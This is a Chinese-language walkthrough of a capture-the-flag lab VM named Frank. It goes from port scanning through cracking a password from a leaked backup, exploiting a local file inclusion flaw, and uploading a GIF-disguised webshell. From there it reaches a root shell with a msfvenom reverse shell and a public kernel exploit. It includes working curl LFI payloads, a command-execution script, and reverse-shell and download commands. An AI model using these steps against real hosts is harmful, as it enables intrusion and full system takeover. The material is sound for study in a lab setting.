题目背景:
Frank有一个网站,他是一个具有正常安全背景的聪明的开发人员;他总喜欢遵循模式。我们的目标就是发现任何关键的漏洞并获得对系统的访问权限。最终需要获得root权限及flag。
信息收集
使用netdiscover发现靶机ip地址为:192.168.1.133:
使用nmap对ip进行扫描:
nmap -p- 192.168.1.133
看到靶机开启了21,22,80和8011端口。现试了ftp登录,但是没有找到有用的东西。
网站渗透
再访问80端口,可以看到是frank的网站。
浏览网站之后,也没有发现什么线索。
使用dirb扫描网站路径:
一个个路径尝试之后,看到以下路径需要登录用户名和密码,这可能是网站的开发路径:
再其他地方也没有任何发现了,rotbots.txt里面也没有东西。试着用nikto扫描网站:
nikto -h http://192.168.1.133
其中有一条信息引起了我的注意:
Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. See http://www.wisec.it/sectou.php?id=4698ebdc59d15. The following alternatives for ‘index’ were found: index.html, index.html.bak
它解释了漏洞的原理,并且发现存在网站备份文件,我们直接输入url,弹出下载框:
cat查看备份文件发现里面存在用户名和密码,但是是经过加密的。
这里把这行哈希存入一个txt文件中,并用john破解,得到明文为frank!!!:
再来到那个路径,输入用户名和密码:
作者说有一个上传工具,我们始终在路径后面输入uploader,就来到了上传工具的页面:
我们想着是否能上传一个webshell,但这里只能上传图片,gif这类文件,而且上传之后,并不知道路径在哪里。那先不急,再找找其他的信息。
本地文件包含
再看看8011端口,看到这是运行网站开发的服务:
使用dirb扫描一下路径:
在其中看到一个api路径,打开后显示如下:
上面的4个页面都尝试打开后发现,只有files_api.php才存在,并且提示输入文件名:
猜测这里可能存在LFI(本地文件包含)漏洞,尝试/etc/password/能不能打开:
页面显示,我们url提交的请求并不能访问,那使用POST请求提交呢,输入如下指令:
curl -X POST -d “file=/etc/passwd”
http://192.168.1.133:8011/api/files_api.php
成功返回内容,说明存在漏洞。curl中的-d选项是-data的缩写,并在-d,in之后发送带有效负载的POST请求。
再尝试把上传文件页面的源码显示出来,这里先访问刚才的files_api.php文件:
curl -X POST -d “file=php:/var/www/development/upload.php”
http://192.168.1.133:8011/api/files_api.php
然后输入一下指令,让其以base64的形式返回源码:
curl -X POST -d
“file=php://filter/convert.base64-encode/resource=/var/www/development/uploader/upload.php” http://192.168.1.133:8011/api/files_api.php
我们再把base64放到网站上解码:
源码如下:
1 |
|
可以在第二行上看到我们上传后的文件,保存在了一个叫FRANKuploads的路径上。源码上显示它使用getimagesize函数来检查文件是否为图像。但是它不是一个全面的检查。php官方文档上也说不应该用它来检查文件是否是图像。
那现在编写一个简短的webshell,并给他gif的标记有,使服务器认为它是gif文件。
上传之后显示如下:
我们已经知道路径了,直接访问可以看到上传的文件:
获得webshell
webshell已经上传,但是打开它并没有什么用:
使用curl提交请求也没什么效果:
curl -u ‘frank:frank!!!’
http://192.168.1.133/development/uploader/FRANKuploads/cmd.php.gif?cmd=id
这里我们可以再次利用之前的本地文件包含漏洞:在8011端口的/api/files_api.php!编写一个漏洞利用脚本cmd.sh:1
2
3
4
5
6
7
8
9
10
11
12
13
14#!/bin/bash
HOST=192.168.1.133
API=api/files_api.php
PORT=8011
FILE=/var/www/development/uploader/FRANKuploads/cmd.php.gif
CMD=$(echo -n "$1" \
| xxd -p \
| tr -d '\n' \
| sed -r 's/(..)/%\1/g')
curl -s -d "file=$FILE" "http://$HOST:$PORT/$API/?cmd=$CMD" \
| sed -e '6,$!d' -e '$d' \
| sed 1d
这个脚本简化了我们的输入,直接输入系统指令,就可以帮助我们查询:
提权
但是能够执行的指令并不能帮助我们继续提权,受到的限制很多,我们可以再上传一个反弹shell,使用nc建立连接,shell创建如下:
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.1.136 LPORT=4444 -f elf -o rev
我们再本地用python开启一个http服务:
然后输入如下命令:让靶机下载这个shell到/tmp目录下:
./cmd.sh “wget -O /tmp/rev 192.168.1.133/rev”
可以看到,有我们的靶机访问了我们的80端口:
然后查看靶机上的文件:
给我们的反弹shell权限:
本地开启监听:
运行shell文件:
可看到连接建立成功:
查看系统版本:
系统版本是linux 2.6.35,我们使用searchsploit查询对应版本的exploit:
searchsploit linux2.6.3 | grep local
我们找到一个匹配的explot,是15285.c,我们把他复制出来:
此时我们python的web服务并没有关闭,使用wget下载到靶机的tmp目录上:
改变权限并执行,但是发现出现了错误:
这是靶机上gcc编译出错,在网上找到了解决方法:
find / -type f -name cc1 2>/dev/null
export PATH=/usr/lib/gcc/x86_64-linux-gnu/4.6/:$PATH
继续编译:
gcc 15285.c -o shell
编译成功,执行程序:
此时的我们提权成功,获得了root权限,并在root文件中找到了flag: